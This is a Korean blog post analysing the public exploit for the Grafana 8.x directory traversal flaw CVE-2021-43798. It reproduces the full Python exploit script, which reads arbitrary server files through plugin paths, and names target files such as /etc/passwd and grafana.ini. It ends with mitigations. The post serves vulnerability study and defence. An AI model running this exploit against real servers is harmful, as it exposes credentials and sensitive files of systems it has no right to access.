이전 게시글에서는 익스플로잇 하는 방법에 대해서 살펴보았다.
이 취약점은 21년도 12월에 제로데이로 트위터에 게시되어 많은 관심이 있었다고 한다 이 취약점이 공개된 이후 단 4일만에 공식 패치가 출시되어 짧은 시간동안만 제로데이였다고 한다.
이제 익스플로잇 코드에 대한 분석을 해볼 것이다.
# Exploit Title: Grafana 8.3.0 - Directory Traversal and Arbitrary File Read
# Date: 08/12/2021
# Exploit Author: s1gh
# Vendor Homepage: https://grafana.com/
# Vulnerability Details: https://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p
# Version: V8.0.0-beta1 through V8.3.0
# Description: Grafana versions 8.0.0-beta1 through 8.3.0 is vulnerable to directory traversal, allowing access to local files.
# CVE: CVE-2021-43798
# Tested on: Debian 10
# References: https://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p47p
Grafana 8.0.0 ~ 8.3.0 버전에서 발견된 디렉터리 순회 공격 및 임의 파일 읽기 취약점이다. 이 취약점은 공격자가 서버에서 임의의 파일을 읽을 수 있도록 허용한다.
Description
Grafana는 데이터 시각화 및 모니터링 도구로 아주 많이 쓰이고 있다. 이 공개 취약점은 특정 플러그인을 이용하여 파일을 읽기 위해서 사용하는 경로 조작 취약점이다. 공격자는 디렉터리 순회 공격을 통해서 민감한 파일에 대한 정보를 읽을 수 있다.
코드 분석
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import requests
import argparse
import sys
from random import choice
plugin_list = [
"alertlist",
"annolist",
"barchart",
"bargauge",
"candlestick",
"cloudwatch",
"dashlist",
"elasticsearch",
"gauge",
"geomap",
"gettingstarted",
"grafana-azure-monitor-datasource",
"graph",
"heatmap",
"histogram",
"influxdb",
"jaeger",
"logs",
"loki",
"mssql",
"mysql",
"news",
"nodeGraph",
"opentsdb",
"piechart",
"pluginlist",
"postgres",
"prometheus",
"stackdriver",
"stat",
"state-timeline",
"status-histor",
"table",
"table-old",
"tempo",
"testdata",
"text",
"timeseries",
"welcome",
"zipkin"
]
grafana에 있는 플러그인들에 대해서 나열해 놓은 것이다. 이 플로그인들이 공격에서 아주 유용하게 사용될 것이다.
def exploit(args):
s = requests.Session()
headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.' }
while True:
file_to_read = input('Read file > ')
try:
url = args.host + '/public/plugins/' + choice(plugin_list) + '/../../../../../../../../../../../../..' + file_to_read
req = requests.Request(method='GET', url=url, headers=headers)
prep = req.prepare()
prep.url = url
r = s.send(prep, verify=False, timeout=3)
if 'Plugin file not found' in r.text:
print('[-] File not found\n')
else:
if r.status_code == 200:
print(r.text)
else:
print('[-] Something went wrong.')
return
except requests.exceptions.ConnectTimeout:
print('[-] Request timed out. Please check your host settings.\n')
return
except Exception:
pass
exploit 함수에서는 공격자가 입력하여 파일을 읽을 수 있도록 입력을 받고, 공격자가 입력한 파일 경로를 포함해 URL을 구성한 후에 requests 모듈을 이용해 GET 요청을 전송한다. 디렉터리 순회 공격을 이용해 익스플로잇을 하기 때문에 ../../../../../ 와 같은 상위 디렉터리로 이동하는 것을 확인 할 수 있다.
이후 서버의 응답을 확인하여 파일이 존재하면 내용을 출력하고, 그렇지 않다면 오류메시지를 출력한다.
영향
취약한 Grafana 버전을 사용하는 서버들은 공격자가 서버의 중요한 파일을 읽는데 사용될 수 있다. /etc/passwd나 /etc/grafana/grafana.ini 또는 grafana.db 같은 응용 프로그램 구성 파일을 읽거나 저장되어있는 데이터베이스를 읽는다면 민감한 정보를 유출할 수 있다는 것이다. 이러한 점은 서버의 보안을 심각하게 저해할 수 있다. 또한 파일에 들어있는 내용을 읽어 다른 연계 공격이 가능할 것으로 예상된다
대응 방법
1. 버전 업데이트 : Grafana를 최신버전으로 업데이트 한다. 단 4일만에 패치 버전이 나온 것을 보았을 때 최신버전이 나오면 빠르게 업데이틀 하는 것이 중요하다
2. 웹 애플리케이션 방화벽(WAF) : 디렉터리 순회 공격을 차단할 수 있는 WAF를 사용한다
3. 접근 제어(Access Control) : 서버 파일 시스템에 대한 접근 권한을 최소화하고, 민감한 파일에 대한 접근을 제한한다
4. 입력 검증 : 사용자의 입력에 대해서 철저히 검증해야하고, 디렉터리 순회 같은 패턴을 필터링 할 수 있는 코드를 작성하여 패턴이 감지된다면 차단하여 사전에 미리 방지한다
'CVE' 카테고리의 다른 글
[CVE-2021-43798] Grafana 8.3.0 공개 취약점 분석 (1) (0) | 2024.06.12 |
---|